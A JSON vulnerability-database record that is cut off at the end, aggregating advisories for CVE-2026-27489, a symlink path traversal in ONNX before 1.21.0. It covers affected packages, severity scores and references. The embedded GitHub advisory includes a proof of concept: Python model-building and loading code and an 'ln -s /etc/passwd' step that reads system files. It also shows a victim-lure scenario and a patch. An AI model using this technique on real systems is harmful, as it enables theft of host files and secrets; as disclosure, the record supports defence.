{"id":"CVE-2026-27489","aliases":["DEBIAN-CVE-2026-27489","DHI-f5h2-hsq5-xztb-ovsj","GHSA-3r9x-f23j-gc73","PYSEC-2026-2239","UBUNTU-CVE-2026-27489"],"summary":"ONNX: Path Traversal via Symlink","published_at":"2026-03-31T22:34:25Z","modified_at":"2026-11-16T02:35:19.062431Z","products":[],"rating":{"severity":"high","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","attack_path":"internet_unauthenticated","user_interaction":false,"malicious":false,"red_hat":"Important","vendor_ratings":[{"source":"Ubuntu","rating":"medium"},{"source":"Red Hat","rating":"Important"}]},"fix_available":false,"kev":{"listed":false,"ransomware":false},"public_exploit":false,"exploits":[],"epss":{"score":0.006289999932050705,"percentile":0.5096499919891357,"date":"2026-11-19T00:00:00Z"},"priority":10.7,"details":"Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, a path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. This issue has been patched in version 1.21.0.","affected_stack":[],"affected_other":[{"ecosystem":"CVE","package":"onnx/onnx","versions":["< 1.21.0"],"provider":"cvelistv5","source":"CVE-2026-27489","relation":"self"},{"ecosystem":"Debian:12","package":"onnx","purl":"pkg:deb/debian/onnx?arch=source&distro=bookworm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.12.0-2","1.13.1-1","1.13.1-2","1.13.1-3","1.14.1-1","1.14.1-2","1.14.1-2.1","1.14.1-2.1~exp1","1.16.1-1","1.16.2-1","1.17.0-1","1.17.0-2","1.17.0-3","1.19.1-1~exp1","1.20.0-1","1.20.0-1~exp1","1.20.0-3","1.20.0-4","1.20.0-5","1.20.0-6","1.21.0-1"],"provider":"osv","source":"DEBIAN-CVE-2026-27489","relation":"self"},{"ecosystem":"Debian:13","package":"onnx","purl":"pkg:deb/debian/onnx?arch=source&distro=trixie","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.17.0-3","1.19.1-1~exp1","1.20.0-1","1.20.0-1~exp1","1.20.0-3","1.20.0-4","1.20.0-5","1.20.0-6","1.21.0-1"],"provider":"osv","source":"DEBIAN-CVE-2026-27489","relation":"self"},{"ecosystem":"Debian:14","package":"onnx","purl":"pkg:deb/debian/onnx?arch=source&distro=forky","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.17.0-3","1.19.1-1~exp1","1.20.0-1","1.20.0-1~exp1","1.20.0-3","1.20.0-4","1.20.0-5","1.20.0-6","1.21.0-1"],"provider":"osv","source":"DEBIAN-CVE-2026-27489","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"onnx","purl":"pkg:deb/dhi/onnx","versions":["1.17.0-3+dhi0","1.17.0-3+dhi1","1.17.0-3+dhi2","1.17.0-3+dhi3","1.17.0-3+dhi4","1.17.0-3+dhi5"],"provider":"osv","source":"DHI-f5h2-hsq5-xztb-ovsj","relation":"self"},{"ecosystem":"NVD","package":"linuxfoundation:onnx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.21.0"}]}],"fixed":["1.21.0"],"provider":"nvd","source":"CVE-2026-27489","relation":"self"},{"ecosystem":"PyPI","package":"onnx","purl":"pkg:pypi/onnx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.21.0"}]}],"versions":["0.1","0.2","0.2.1","1.0.0","1.0.1","1.1.0","1.1.1","1.1.2","1.10.0","1.10.1","1.10.2","1.11.0","1.12.0","1.13.0","1.13.1","1.14.0","1.14.1","1.15.0","1.16.0","1.16.1","1.16.2","1.17.0","1.18.0","1.19.0","1.19.1","1.19.1rc1","1.2.1","1.2.2","1.2.3","1.20.0","1.20.0rc1","1.20.0rc2","1.20.1","1.20.1rc1","1.21.0rc1","1.21.0rc2","1.21.0rc3","1.21.0rc4","1.3.0","1.4.0","1.4.1","1.5.0","1.6.0","1.7.0","1.8.0","1.8.1","1.9.0"],"fixed":["1.21.0"],"provider":"osv","source":"GHSA-3r9x-f23j-gc73","relation":"self"},{"ecosystem":"PyPI","package":"onnx","purl":"pkg:pypi/onnx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.21.0"}]}],"versions":["0.1","0.2","0.2.1","1.0.0","1.0.1","1.1.0","1.1.1","1.1.2","1.10.0","1.10.1","1.10.2","1.11.0","1.12.0","1.13.0","1.13.1","1.14.0","1.14.1","1.15.0","1.16.0","1.16.1","1.16.2","1.17.0","1.18.0","1.19.0","1.19.1","1.19.1rc1","1.2.1","1.2.2","1.2.3","1.20.0","1.20.0rc1","1.20.0rc2","1.20.1","1.20.1rc1","1.21.0rc1","1.21.0rc2","1.21.0rc3","1.21.0rc4","1.3.0","1.4.0","1.4.1","1.5.0","1.6.0","1.7.0","1.8.0","1.8.1","1.9.0"],"fixed":["1.21.0"],"provider":"osv","source":"PYSEC-2026-2239","relation":"self"},{"ecosystem":"Ubuntu:22.04:LTS","package":"onnx","purl":"pkg:deb/ubuntu/onnx?arch=source&distro=jammy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.7.0+dfsg-3build1","1.7.0+dfsg-3build2","1.7.0+dfsg-3ubuntu1","1.7.0+dfsg-3ubuntu2"],"provider":"osv","source":"UBUNTU-CVE-2026-27489","relation":"self"},{"ecosystem":"Ubuntu:25.10","package":"onnx","purl":"pkg:deb/ubuntu/onnx?arch=source&distro=questing","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.17.0-3build1"],"provider":"osv","source":"UBUNTU-CVE-2026-27489","relation":"self"},{"ecosystem":"Ubuntu:26.04:LTS","package":"onnx","purl":"pkg:deb/ubuntu/onnx?arch=source&distro=resolute","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.17.0-3build1","1.20.0-1"],"provider":"osv","source":"UBUNTU-CVE-2026-27489","relation":"self"},{"ecosystem":"Ubuntu:26.10","package":"onnx","purl":"pkg:deb/ubuntu/onnx?arch=source&distro=stonking","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.20.0-1","1.20.0-6"],"provider":"osv","source":"UBUNTU-CVE-2026-27489","relation":"self"},{"ecosystem":"Ubuntu:Pro:24.04:LTS","package":"onnx","purl":"pkg:deb/ubuntu/onnx?arch=source&distro=esm-apps%2Fnoble","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.13.1-3","1.13.1-3build1","1.14.1-2","1.14.1-2.1","1.14.1-2.1build1","1.14.1-2.1build2","1.14.1-2.1ubuntu0.1~esm1"],"provider":"osv","source":"UBUNTU-CVE-2026-27489","relation":"self"}],"product_status":[{"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","cpe":"cpe:/a:redhat:openshift_ai","status":"affected","packages":["rhoai/odh-openvino-model-server-rhel9"],"package_count":1,"fixed":[],"advisories":[],"note":"Affected","provider":"redhat-vex","source":"CVE-2026-27489"},{"vendor":"Red Hat","product":"Red Hat OpenShift AI 2.25","cpe":"cpe:/a:redhat:openshift_ai:2.25::el9","status":"fixed","packages":["rhoai/odh-pipeline-runtime-datascience-cpu-py312-rhel9","rhoai/odh-pipeline-runtime-pytorch-cuda-py312-rhel9","rhoai/odh-pipeline-runtime-pytorch-llmcompressor-cuda-py312-rhel9","rhoai/odh-pipeline-runtime-pytorch-rocm-py312-rhel9","rhoai/odh-pipeline-runtime-tensorflow-cuda-py312-rhel9","rhoai/odh-pipeline-runtime-tensorflow-rocm-py312-rhel9","rhoai/odh-workbench-codeserver-datascience-cpu-py312-rhel9","rhoai/odh-workbench-jupyter-datascience-cpu-py312-rhel9","rhoai/odh-workbench-jupyter-pytorch-cuda-py312-rhel9","rhoai/odh-workbench-jupyter-pytorch-llmcompressor-cuda-py312-rhel9","rhoai/odh-workbench-jupyter-pytorch-rocm-py312-rhel9","rhoai/odh-workbench-jupyter-tensorflow-cuda-py312-rhel9","rhoai/odh-workbench-jupyter-tensorflow-rocm-py312-rhel9","rhoai/odh-workbench-jupyter-trustyai-cpu-py312-rhel9"],"package_count":14,"fixed":[],"advisories":["RHSA-2026:24977"],"provider":"redhat-vex","source":"CVE-2026-27489"},{"vendor":"Red Hat","product":"Red Hat OpenShift AI 2.25","cpe":"cpe:/a:redhat:openshift_ai:2.25::el9","status":"not_affected","packages":["rhoai/odh-built-in-detector-rhel9","rhoai/odh-caikit-nlp-rhel9","rhoai/odh-caikit-tgis-serving-rhel9","rhoai/odh-codeflare-operator-rhel9","rhoai/odh-dashboard-rhel9","rhoai/odh-data-science-pipelines-argo-argoexec-rhel9","rhoai/odh-data-science-pipelines-argo-workflowcontroller-rhel9","rhoai/odh-data-science-pipelines-operator-controller-rhel9","rhoai/odh-feast-operator-rhel9","rhoai/odh-feature-server-rhel9","rhoai/odh-fms-guardrails-orchestrator-rhel9","rhoai/odh-guardrails-detector-huggingface-runtime-rhel9","rhoai/odh-kf-notebook-controller-rhel9","rhoai/odh-kserve-agent-rhel9","rhoai/odh-kserve-controller-rhel9","rhoai/odh-kserve-router-rhel9","rhoai/odh-kserve-storage-initializer-rhel9","rhoai/odh-kuberay-operator-controller-rhel9","rhoai/odh-kueue-controller-rhel9","rhoai/odh-llama-stack-core-rhel9","rhoai/odh-llama-stack-k8s-operator-rhel9","rhoai/odh-llm-d-inference-scheduler-rhel9","rhoai/odh-llm-d-routing-sidecar-rhel9","rhoai/odh-ml-pipelines-api-server-v2-rhel9","rhoai/odh-ml-pipelines-driver-rhel9"],"package_count":63,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-27489"},{"vendor":"Red Hat","product":"Red Hat OpenShift AI 3.3","cpe":"cpe:/a:redhat:openshift_ai:3.3::el9","status":"fixed","packages":["rhoai/odh-pipeline-runtime-pytorch-llmcompressor-cuda-py312-rhel9","rhoai/odh-workbench-jupyter-pytorch-llmcompressor-cuda-py312-rhel9"],"package_count":2,"fixed":[],"advisories":["RHSA-2026:73987"],"provider":"redhat-vex","source":"CVE-2026-27489"},{"vendor":"Red Hat","product":"Red Hat OpenShift AI 3.3","cpe":"cpe:/a:redhat:openshift_ai:3.3::el9","status":"not_affected","packages":["rhoai/odh-built-in-detector-rhel9","rhoai/odh-cli-rhel9","rhoai/odh-dashboard-rhel9","rhoai/odh-data-science-pipelines-argo-argoexec-rhel9","rhoai/odh-data-science-pipelines-argo-workflowcontroller-rhel9","rhoai/odh-data-science-pipelines-operator-controller-rhel9","rhoai/odh-feast-operator-rhel9","rhoai/odh-feature-server-rhel9","rhoai/odh-fms-guardrails-orchestrator-rhel9","rhoai/odh-guardrails-detector-huggingface-runtime-rhel9","rhoai/odh-kf-notebook-controller-rhel9","rhoai/odh-kserve-agent-rhel9","rhoai/odh-kserve-controller-rhel9","rhoai/odh-kserve-router-rhel9","rhoai/odh-kserve-storage-initializer-rhel9","rhoai/odh-kube-auth-proxy-rhel9","rhoai/odh-kuberay-operator-controller-rhel9","rhoai/odh-llama-stack-core-rhel9","rhoai/odh-llama-stack-k8s-operator-rhel9","rhoai/odh-llm-d-inference-scheduler-rhel9","rhoai/odh-llm-d-routing-sidecar-rhel9","rhoai/odh-maas-api-rhel9","rhoai/odh-ml-pipelines-api-server-v2-rhel9","rhoai/odh-ml-pipelines-driver-rhel9","rhoai/odh-ml-pipelines-launcher-rhel9"],"package_count":81,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-27489"}],"records":[{"provider":"cvelistv5","source_id":"CVE-2026-27489","relation":"self","url":"https://www.cve.org/CVERecord?id=CVE-2026-27489","license":"CC-BY-4.0","published_at":"2026-04-01T17:33:51.281Z","modified_at":"2026-07-15T01:14:13.726Z","summary":"ONNX: Path Traversal via Symlink","details":"Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, a path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. This issue has been patched in version 1.21.0.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","source":"CVE-2026-27489"},{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","source":"redhat-SADP:CVE-2026-27489"}],"affected":[{"ecosystem":"CVE","package":"onnx/onnx","versions":["< 1.21.0"],"provider":"cvelistv5","source":"CVE-2026-27489","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/onnx/onnx/security/advisories/GHSA-3r9x-f23j-gc73"},{"type":"WEB","url":"https://github.com/onnx/onnx/commit/4755f8053928dce18a61db8fec71b69c74f786cb"}]},{"provider":"nvd","source_id":"CVE-2026-27489","relation":"self","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27489","severity":[],"affected":[{"ecosystem":"NVD","package":"linuxfoundation:onnx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.21.0"}]}],"fixed":["1.21.0"],"provider":"nvd","source":"CVE-2026-27489","relation":"self"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"DEBIAN-CVE-2026-27489","relation":"self","url":"https://osv.dev/vulnerability/DEBIAN-CVE-2026-27489","published_at":"2026-04-01T18:16:28.287Z","modified_at":"2026-10-01T03:03:09.02843Z","details":"Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, a path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. This issue has been patched in version 1.21.0.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","source":"DEBIAN-CVE-2026-27489"}],"affected":[{"ecosystem":"Debian:12","package":"onnx","purl":"pkg:deb/debian/onnx?arch=source&distro=bookworm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.12.0-2","1.13.1-1","1.13.1-2","1.13.1-3","1.14.1-1","1.14.1-2","1.14.1-2.1","1.14.1-2.1~exp1","1.16.1-1","1.16.2-1","1.17.0-1","1.17.0-2","1.17.0-3","1.19.1-1~exp1","1.20.0-1","1.20.0-1~exp1","1.20.0-3","1.20.0-4","1.20.0-5","1.20.0-6","1.21.0-1"],"provider":"osv","source":"DEBIAN-CVE-2026-27489","relation":"self"},{"ecosystem":"Debian:13","package":"onnx","purl":"pkg:deb/debian/onnx?arch=source&distro=trixie","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.17.0-3","1.19.1-1~exp1","1.20.0-1","1.20.0-1~exp1","1.20.0-3","1.20.0-4","1.20.0-5","1.20.0-6","1.21.0-1"],"provider":"osv","source":"DEBIAN-CVE-2026-27489","relation":"self"},{"ecosystem":"Debian:14","package":"onnx","purl":"pkg:deb/debian/onnx?arch=source&distro=forky","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.17.0-3","1.19.1-1~exp1","1.20.0-1","1.20.0-1~exp1","1.20.0-3","1.20.0-4","1.20.0-5","1.20.0-6","1.21.0-1"],"provider":"osv","source":"DEBIAN-CVE-2026-27489","relation":"self"}],"product_status":[],"references":[{"type":"ADVISORY","url":"https://security-tracker.debian.org/tracker/CVE-2026-27489"}]},{"provider":"osv","source_id":"DHI-f5h2-hsq5-xztb-ovsj","relation":"self","url":"https://osv.dev/vulnerability/DHI-f5h2-hsq5-xztb-ovsj","license":"Apache-2.0","published_at":"2026-11-11T18:54:50Z","modified_at":"2026-11-16T02:35:19.062431Z","summary":"Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0…","details":"Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, a path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. This issue has been patched in version 1.21.0.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","source":"DHI-f5h2-hsq5-xztb-ovsj"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","source":"DHI-f5h2-hsq5-xztb-ovsj"}],"affected":[{"ecosystem":"Docker Hardened Images:Debian:13","package":"onnx","purl":"pkg:deb/dhi/onnx","versions":["1.17.0-3+dhi0","1.17.0-3+dhi1","1.17.0-3+dhi2","1.17.0-3+dhi3","1.17.0-3+dhi4","1.17.0-3+dhi5"],"provider":"osv","source":"DHI-f5h2-hsq5-xztb-ovsj","relation":"self"}],"product_status":[],"references":[{"type":"ADVISORY","url":"https://scout.docker.com/v/DHI-f5h2-hsq5-xztb-ovsj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27489"},{"type":"ADVISORY","url":"https://github.com/onnx/onnx/security/advisories/GHSA-3r9x-f23j-gc73"},{"type":"FIX","url":"https://github.com/onnx/onnx/commit/4755f8053928dce18a61db8fec71b69c74f786cb"},{"type":"ADVISORY","url":"https://security-tracker.debian.org/tracker/CVE-2026-27489"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-3r9x-f23j-gc73"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2026-27489"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:24977"},{"type":"FIX","url":"https://www.cve.org/CVERecord?id=CVE-2026-27489"},{"type":"ADVISORY","url":"https://ubuntu.com/security/CVE-2026-27489"},{"type":"ADVISORY","url":"http://people.ubuntu.com/~ubuntu-security/cve/CVE-2026-27489"}]},{"provider":"osv","source_id":"GHSA-3r9x-f23j-gc73","relation":"self","url":"https://osv.dev/vulnerability/GHSA-3r9x-f23j-gc73","license":"CC-BY-4.0","published_at":"2026-03-31T22:34:25Z","modified_at":"2026-11-04T03:30:50.269971Z","summary":"onnx Vulnerable to Path Traversal via Symlink","details":"### Summary\nA path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. \n\n### Details\nThe following check for symlink is ineffective and it is possible to point a symlink to an arbitrary location on the file system:\nhttps://github.com/onnx/onnx/blob/336652a4b2ab1e530ae02269efa7038082cef250/onnx/checker.cc#L1024-L1033\n\n`std::filesystem::is_regular_file` performs a `status(p)` call on the provided path, which follows symbolic links to determine the file type, meaning it will return true if the target of a symlink is a regular file. \n\n\n### PoC\n\n\n\n```python\n# Create a demo model with external data\nimport os\nimport numpy as np\nimport onnx\nfrom onnx import helper, TensorProto, numpy_helper\n\ndef create_onnx_model(output_path=\"model.onnx\"):\n    weight_matrix = np.random.randn(1000, 1000).astype(np.float32)\n\n    X = helper.make_tensor_value_info(\"X\", TensorProto.FLOAT, [1, 1000])\n    Y = helper.make_tensor_value_info(\"Y\", TensorProto.FLOAT, [1, 1000])\n    W = numpy_helper.from_array(weight_matrix, name=\"W\")\n\n    matmul_node = helper.make_node(\"MatMul\", inputs=[\"X\", \"W\"], outputs=[\"Y\"], name=\"matmul\")\n\n    graph = helper.make_graph(\n        nodes=[matmul_node],\n        name=\"SimpleModel\",\n        inputs=[X],\n        outputs=[Y],\n        initializer=[W]\n    )\n\n    model = helper.make_model(graph, opset_imports=[helper.make_opsetid(\"\", 11)])\n    onnx.checker.check_model(model)\n\n    data_file = output_path.replace('.onnx', '.data')\n\n    if os.path.exists(output_path):\n        os.remove(output_path)\n    if os.path.exists(data_file):\n        os.remove(data_file)\n\n    onnx.save_model(\n        model,\n        output_path,\n        save_as_external_data=True,\n        all_tensors_to_one_file=True,\n        location=os.path.basename(data_file),\n        size_threshold=1024 * 1024\n    )\n\nif __name__ == \"__main__\":\n    create_onnx_model(\"model.onnx\")\n```\n\n1. Run the above code to generate a sample model with external data.\n2. Remove `model.data`\n3. Run `ln -s /etc/passwd model.data`\n4. Load the model using the following code\n5. Observe check for symlink is bypassed and model is succesfuly loaded\n\n```python\nimport onnx\nfrom onnx.external_data_helper import load_external_data_for_model\n\ndef load_onnx_model_basic(model_path=\"model.onnx\"):\n    model = onnx.load(model_path)\n    return model\n\ndef load_onnx_model_explicit(model_path=\"model.onnx\"):\n    model = onnx.load(model_path, load_external_data=False)\n    load_external_data_for_model(model, \".\")\n    return model\n\nif __name__ == \"__main__\":\n    model = load_onnx_model_basic(\"model.onnx\")\n\n```\n\nA common misuse case for successful exploitation is that an adversary can provide victim with a compressed file, containing `poc.onnx` and `poc.data (symlink)`. Once the victim uncompress and load the model, symlink read the adversary selected arbitrary file.\n\n\n### Impact\n\nRead sensitive and arbitrary files and environment variable (e.g. /proc/1/environ) from the host that loads the model.\n\nNOTE: this issue is not limited to UNIX.\n\n### Sample patch\n\n```c\n#include <fcntl.h>\n#include <sys/stat.h>\n#include <unistd.h>\n#include <errno.h>\n\nint open_external_file_no_symlink(const char *base_dir,\n                                  const char *relative_path) {\n    int dirfd = -1;\n    int fd = -1;\n    struct stat st;\n\n    // Open base directory\n    dirfd = open(base_dir, O_RDONLY | O_DIRECTORY);\n    if (dirfd < 0) {\n        return -1;\n    }\n\n    // Open the target relative to base_dir\n    // O_NOFOLLOW => fail if final path component is a symlink\n    fd = openat(dirfd,\n                relative_path,\n                O_RDONLY | O_NOFOLLOW);\n    close(dirfd);\n\n    if (fd < 0) {\n        // ELOOP is the typical error if a symlink is encountered\n        return -1;\n    }\n\n    // Inspect the *opened file*\n    if (fstat(fd, &st) != 0) {\n        close(fd);\n        return -1;\n    }\n\n    // Enforce \"regular file only\"\n    if (!S_ISREG(st.st_mode)) {\n        close(fd);\n        errno = EINVAL;\n        return -1;\n    }\n\n    // fd is now:\n    // - not a symlink\n    // - not a directory\n    // - not a device / FIFO / socket\n    // - race-safe\n    return fd;\n}\n```\n\n### Resources\n\n* https://cwe.mitre.org/data/definitions/61.html\n* https://discuss.secdim.com/t/input-validation-necessary-but-not-sufficient-it-doesnt-target-the-fundamental-issue/1172\n* https://discuss.secdim.com/t/common-pitfalls-for-patching-path-traversal/3368","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","source":"GHSA-3r9x-f23j-gc73"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","source":"GHSA-3r9x-f23j-gc73"}],"affected":[{"ecosystem":"PyPI","package":"onnx","purl":"pkg:pypi/onnx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.21.0"}]}],"versions":["0.1","0.2","0.2.1","1.0.0","1.0.1","1.1.0","1.1.1","1.1.2","1.10.0","1.10.1","1.10.2","1.11.0","1.12.0","1.13.0","1.13.1","1.14.0","1.14.1","1.15.0","1.16.0","1.16.1","1.16.2","1.17.0","1.18.0","1.19.0","1.19.1","1.19.1rc1","1.2.1","1.2.2","1.2.3","1.20.0","1.20.0rc1","1.20.0rc2","1.20.1","1.20.1rc1","1.21.0rc1","1.21.0rc2","1.21.0rc3","1.21.0rc4","1.3.0","1.4.0","1.4.1","1.5.0","1.6.0","1.7.0","1.8.0","1.8.1","1.9.0"],"fixed":["1.21.0"],"provider":"osv","source":"GHSA-3r9x-f23j-gc73","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/onnx/onnx/security/advisories/GHSA-3r9x-f23j-gc73"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27489"},{"type":"WEB","url":"https://github.com/onnx/onnx/commit/4755f8053928dce18a61db8fec71b69c74f786cb"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24977"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-27489"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2453929"},{"type":"PACKAGE","url":"https://github.com/onnx/onnx"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/onnx/PYSEC-2026-2239.yaml"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-27489.json"}]},{"provider":"osv","source_id":"PYSEC-2026-2239","relation":"self","url":"https://osv.dev/vulnerability/PYSEC-2026-2239","license":"CC-BY-4.0","published_at":"2026-04-01T18:16:28.287Z","modified_at":"2026-07-13T07:15:50.564001Z","details":"Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, a path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. This issue has been patched in version 1.21.0.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","source":"PYSEC-2026-2239"}],"affected":[{"ecosystem":"PyPI","package":"onnx","purl":"pkg:pypi/onnx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.21.0"}]}],"versions":["0.1","0.2","0.2.1","1.0.0","1.0.1","1.1.0","1.1.1","1.1.2","1.10.0","1.10.1","1.10.2","1.11.0","1.12.0","1.13.0","1.13.1","1.14.0","1.14.1","1.15.0","1.16.0","1.16.1","1.16.2","1.17.0","1.18.0","1.19.0","1.19.1","1.19.1rc1","1.2.1","1.2.2","1.2.3","1.20.0","1.20.0rc1","1.20.0rc2","1.20.1","1.20.1rc1","1.21.0rc1","1.21.0rc2","1.21.0rc3","1.21.0rc4","1.3.0","1.4.0","1.4.1","1.5.0","1.6.0","1.7.0","1.8.0","1.8.1","1.9.0"],"fixed":["1.21.0"],"provider":"osv","source":"PYSEC-2026-2239","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-27489"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-27489.json"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:24977"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2453929"},{"type":"FIX","url":"https://github.com/onnx/onnx/commit/4755f8053928dce18a61db8fec71b69c74f786cb"},{"type":"FIX","url":"https://github.com/onnx/onnx/security/advisories/GHSA-3r9x-f23j-gc73"}]},{"provider":"osv","source_id":"UBUNTU-CVE-2026-27489","relation":"self","url":"https://osv.dev/vulnerability/UBUNTU-CVE-2026-27489","license":"CC-BY-SA-4.0","published_at":"2026-04-01T18:16:00Z","modified_at":"2026-10-17T12:58:48.518946Z","details":"Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, a path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. This issue has been patched in version 1.21.0.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","source":"UBUNTU-CVE-2026-27489"},{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","source":"UBUNTU-CVE-2026-27489"},{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","source":"UBUNTU-CVE-2026-27489"},{"type":"Ubuntu","score":"medium","source":"UBUNTU-CVE-2026-27489"}],"affected":[{"ecosystem":"Ubuntu:22.04:LTS","package":"onnx","purl":"pkg:deb/ubuntu/onnx?arch=source&distro=jammy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.7.0+dfsg-3build1","1.7.0+dfsg-3build2","1.7.0+dfsg-3ubuntu1","1.7.0+dfsg-3ubuntu2"],"provider":"osv","source":"UBUNTU-CVE-2026-27489","relation":"self"},{"ecosystem":"Ubuntu:25.10","package":"onnx","purl":"pkg:deb/ubuntu/onnx?arch=source&distro=questing","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.17.0-3build1"],"provider":"osv","source":"UBUNTU-CVE-2026-27489","relation":"self"},{"ecosystem":"Ubuntu:26.04:LTS","package":"onnx","purl":"pkg:deb/ubuntu/onnx?arch=source&distro=resolute","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.17.0-3build1","1.20.0-1"],"provider":"osv","source":"UBUNTU-CVE-2026-27489","relation":"self"},{"ecosystem":"Ubuntu:26.10","package":"onnx","purl":"pkg:deb/ubuntu/onnx?arch=source&distro=stonking","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.20.0-1","1.20.0-6"],"provider":"osv","source":"UBUNTU-CVE-2026-27489","relation":"self"},{"ecosystem":"Ubuntu:Pro:24.04:LTS","package":"onnx","purl":"pkg:deb/ubuntu/onnx?arch=source&distro=esm-apps%2Fnoble","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.13.1-3","1.13.1-3build1","1.14.1-2","1.14.1-2.1","1.14.1-2.1build1","1.14.1-2.1build2","1.14.1-2.1ubuntu0.1~esm1"],"provider":"osv","source":"UBUNTU-CVE-2026-27489","relation":"self"}],"product_status":[],"references":[{"type":"REPORT","url":"https://ubuntu.com/security/CVE-2026-27489"},{"type":"REPORT","url":"https://www.cve.org/CVERecord?id=CVE-2026-27489"}]},{"provider":"redhat-vex","source_id":"CVE-2026-27489","relation":"self","url":"https://access.redhat.com/security/cve/CVE-2026-